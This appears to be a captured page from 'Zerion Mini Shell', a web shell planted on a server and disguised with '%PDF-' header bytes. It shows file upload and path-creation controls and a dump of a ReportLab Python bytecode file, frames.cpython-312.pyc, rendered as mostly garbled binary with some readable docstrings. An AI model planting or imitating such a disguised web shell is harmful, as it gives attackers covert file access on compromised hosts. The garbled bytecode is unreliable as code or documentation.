%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/reportlab/platypus/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/reportlab/platypus/__pycache__/frames.cpython-312.pyc

�

C��e�'��x�dZdZdZddlZejd�ZdZddlmZejZ	Gd�d	�Z
y)
z3.5.14z.A frame is a container for content on a page.
)�Frame�Nzreportlab.platypus)�x1�y1�width�height�leftPadding�
bottomPadding�rightPadding�
topPadding)�	rl_configc�t�eZdZdZ			dd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zdd�ZeZ
d�Zdd
�Zd�Zd�Zd�Zy)rah
    A Frame is a piece of space in a document that is filled by the
    "flowables" in the story.  For example in a book like document most
    pages have the text paragraphs in one or two frames.  For generality
    a page might have several frames (for example for 3 column text or
    for text that wraps around a graphic).

    After creation a Frame is not usually manipulated directly by the
    applications program -- it is used internally by the platypus modules.

    Here is a diagramatid abstraction for the definitional part of a Frame::

                width                    x2,y2
        +---------------------------------+
        | l  top padding                r | h
        | e +-------------------------+ i | e
        | f |                         | g | i
        | t |                         | h | g
        |   |                         | t | h
        | p |                         |   | t
        | a |                         | p |
        | d |                         | a |
        |   |                         | d |
        |   +-------------------------+   |
        |    bottom padding               |
        +---------------------------------+
        (x1,y1) <-- lower left corner

    NOTE!! Frames are stateful objects.  No single frame should be used in
    two documents at the same time (especially in the presence of multithreading.
    Nc
��|	|_||_||jd<||jd<||jd<||jd<||jd<||jd<||jd<||jd<|
|_|�tj
}||_|j�|j�y)	N�_x1�_y1�_width�_height�_leftPadding�_bottomPadding�
_rightPadding�_topPadding)	�id�_debug�__dict__�showBoundaryr�overlapAttachedSpace�_oASpace�_geom�_reset)
�selfrrrrrr	r
rrrrrs
             �;/usr/lib/python3/dist-packages/reportlab/platypus/frames.py�__init__zFrame.__init__5s��������� "��
�
�e��!��
�
�e��"'��
�
�h��#)��
�
�i� �)4��
�
�n�%�*7��
�
�&�'�)5��
�
�o�&�'1��
�
�m�$�)����'�	�@^�@^�)=�,��
��
�
�����
�c�L�|tvr|jd|zSt|���N�_)�	_geomAttrr�AttributeError)r�as  r �__getattr__zFrame.__getattr__Os&���	�>�$�-�-��A��"6�6��Q��r"c�x�|tvr#||jd|z<|j�y||j|<yr$)r&rr)rr(�vs   r �__setattr__zFrame.__setattr__Ss2���	�>�#$�D�M�M�#�a�%� ��J�J�L� �D�M�M�!�r"c���|jjdi�s/tD]&}d|z}|j||jd|<�(|j�D]\}}t	|||��y�N�
_savedGeomr%)r�
setdefaultr&�items�setattr)r�kwds�ga�kr+s     r �	_saveGeomzFrame._saveGeomZss���}�}�'�'��R�8��
D����V��26�-�-��2C��
�
�l�+�B�/�
D��:�:�<�	�C�A�a��D��1��	r"c���|jjdd�rMtD]3}d|z}|j|d|j|<|jd=�5|j�yyr.)r�getr&r)rr4s  r �_restoreGeomzFrame._restoreGeombsf���=�=���\�$�/��
0����V��$(�M�M�"�$5�l�$C��
�
�b�!��M�M�,�/�
0�
�J�J�L�0r"c�~�|j|jz|_|j|jz|_|j|jz|_|j|jz
|jz
|jz
|_
|j
|jz
|jz
|_y�N)
rr�_x2rr�_y2r�_y1prr�_aWr�_aH�rs r rzFrame._geomjs����8�8�d�k�k�)����8�8�d�l�l�*����H�H�t�2�2�2��	��8�8�d�h�h�&��):�):�:�T�=O�=O�O����8�8�d�i�i�'�$�*:�*:�:��r"c���|j�|j|jz|_|j|j
z
|_d|_d|_d|_	d|_
y)N�rg)r9rr�_xr=r�_y�_atTop�_prevASpace�_leftExtraIndent�_rightExtraIndentrAs r rzFrame._resetss[�������(�(�T�.�.�.����(�(�T�-�-�-���������
!$���!$��r"c�N�|j|jz
|jz
Sr;)r?rHrIrAs r �_getAvailableWidthzFrame._getAvailableWidth�s"���x�x�$�/�/�/�$�2H�2H�H�Hr"c
��||_||_	t|dd�r3|j|�	dD]}t	||�s�t||��y|j}|j}d}|j�}t|dd�}	|jsP|j�}|jr4t|dd�s|	r|j}t||jz
d�}||z
|z
}
|
dkDs|	r|j||
�\}}
n"	dD]}t	||�s�t||��y|
|z
}
||
z}||tz
krzt j"sH|
|j$kDs||kDr4|s2dd	lm}|d
|j*�d|�d|
�d
|�d|j$�d���	dD]}t	||�s�t||��y|j-�}
t|dd�}|�r,|dj.�r|d}|j0}|j2}|j4}|j6|z
|z
}|j8|z}|s'||
z|
z}t|||
z
�}td||z
�}n~||
z|z
}||j:|j<z
k\}|dk(s|dk(s|rH|dk(rCtd|r|j:n||j>z
�}|j>}|dk(rd|d_ndx}x}}|jA||||||�|dk(r|jC�|jE||jF|jHz|||z
��||_|jJr&tLjOd|jQ�z�||
z}|jr t|dd�r|j}
|
|_||jk7rd|_	||_	dD]}t	||�s�t||��y#dD]}t	||�s�t||��wxYw)z� Draws the flowable at the current position.
        Returns 1 if successful, 0 if it would not fit.
        Raises a LayoutError if the object is too wide,
        or if it is too high for a totally empty frame,
        to avoid infinite loops�frameActionN��canv�_framerCr�	_ZEROSIZEF�_SPACETRANSFER)�LayoutErrorz	Flowable z (�xz points) too large for frame (z	 points).�	_frameBGs����framezframe-permanentzframe-permanent-1)�_sWzdrew %s))rPrO�getattrrM�hasattr�delattrrEr>rKrF�getSpaceBeforerrG�max�wrap�_FUZZr�allowTableBoundsErrorsr@�reportlab.platypus.doctemplaterS�	__class__�
getSpaceAfter�active�left�right�startrrr=rr�render�pop�drawOnrDrHr�logger�debug�identity)r�flowablerO�trySplitr(�y�p�s�aW�zeroSize�h�wrS�sa�fbg�bg�fbgl�fbgr�bgm�fbw�fbx�fbh�fby�atts                        r �_addz
Frame._add�s��������
�L	(��x�
�d�3��$�$�T�*��N(�
(���8�A�&��H�Q�'�
(�K���A��	�	�A��A��(�(�*�B��x��E�:�H��;�;��*�*�,���=�=��x�(8��?�8� �,�,���A�d�.�.�.�q�1�A��A���	�A���s�h��}�}�R��+���1��l(�
(���8�A�&��H�Q�'�
(�i
��F�A�
��F�A��1�U�7�{� �7�7�a����j�A�b�D�Zb�J�%� �*�*�A�a��D�H�H�'>�?�?��X(�
(���8�A�&��H�Q�'�
(�S�+�+�-���d�;�t�4���3�r�7�>�>��R��B��7�7�D��8�8�D��(�(�C��+�+�d�*�4�/�C��(�(�4�-�C���!�e�b�j��!�!�A�b�D�k��!�!�C��G�n���!�e�a�i��!�4�8�8�d�.>�.>�#>�>����<�3�0A�+A�c�c�Sf�Nf�"%�a�S����c�4�8�8�(K�"L�C�"&�(�(�C�"�$5�5�0C��B��
�./�/�C�/�#���I�I�d�4��C��C�8��G�|����	�����d�g�g��0E�0E�&E�q�b�QR�d��S�"��
��;�;����Y��9J�9J�9L�-L� M��R����=�=��x�(8��?�!�-�-��')�D�$��d�g�g�:�Q�t�{�����(�
(���8�A�&��H�Q�'�
(��'�
(���8�A�&��H�Q�'�
(�s&�O�B8O�*A.O�:HO�P�1Pc���|j}|j}d}|js5|j�}|jrt||jz
d�}||z
|z
}|dkrt|dd�sgS||_||_		|j|j|�}dD]}t||�s�t||��|S#dD]}t||�s�t||��wxYw)z7Ask the flowable to split using up the available space.rrQFrN)rEr>rFr\rr]rGrYrPrO�splitr?rZr[)	rrnrOrprqrrru�rr(s	         r r�zFrame.split�s����G�G���I�I��
���{�{��'�'�)�A��}�}���$�*�*�*�1�-��
�a�C��E���a�4����U�;��I������
�	(����t�x�x��+�A�(�
(���8�A�&��H�Q�'�
(����(�
(���8�A�&��H�Q�'�
(�s�C�C'�C'c���|j|xs|j|j|j|j|jz
|j
|jz
�yr;)�drawBoundaryrrrr<r=)rrO�__boundary__s   r r�zFrame.drawBoundary�sI�����,�;�$�*;�*;�T�X�X�t�x�x� $���4�8�8� 3�T�X�X����5H�	Jr"c��|jr"tjd|jz�|jr|j|�t
|�dkDr.|d}|j||d��r|d=nyt
|�dkDr�-yy)z�Consumes objects from the front of the list until the
        frame is full.  If it cannot fit one object, raises
        an exception.z&enter Frame.addFromlist() for frame %sr)roN)rrkrlrrr��len�add)r�drawlistrO�heads    r �addFromListzFrame.addFromList�s{��
�;�;����%M�PT�PW�PW�%W�X�������d�#��(�m�a���A�;�D��x�x��T�1�x�-��Q�K��
�(�m�a�r"c�Z�|jjdg�j|�y)N�_generated_content)rr0�extend)r�Cs  r �add_generated_contentzFrame.add_generated_contents"���
�
� � �!5�b�9�@�@��Cr"c�l�d|j��d|j�|jxrdxsd�d�S)N�(z x �*��))rKr@rFrAs r �
_aSpaceStringzFrame._aSpaceStrings/�� $� 7� 7� 9�$�(�(�4�;�;�CV�SV�C\�Z\�C\�]�]r")�r�r�r�NrNN)rr;)�__name__�
__module__�__qualname__�__doc__r!r)r,r6r9rrrKr�r�r�r�r�r�r��r"r rrsg���>KL�@A�-1��4 �!���;�%�I�T(�l�C��.J��"D�^r"r)�__version__r��__all__�logging�	getLoggerrkr&�	reportlabrr_rr�r"r �<module>r�sQ��

��	�����	��	�	�/�	0��
g�	���o�o��w^�w^r"

Zerion Mini Shell 1.0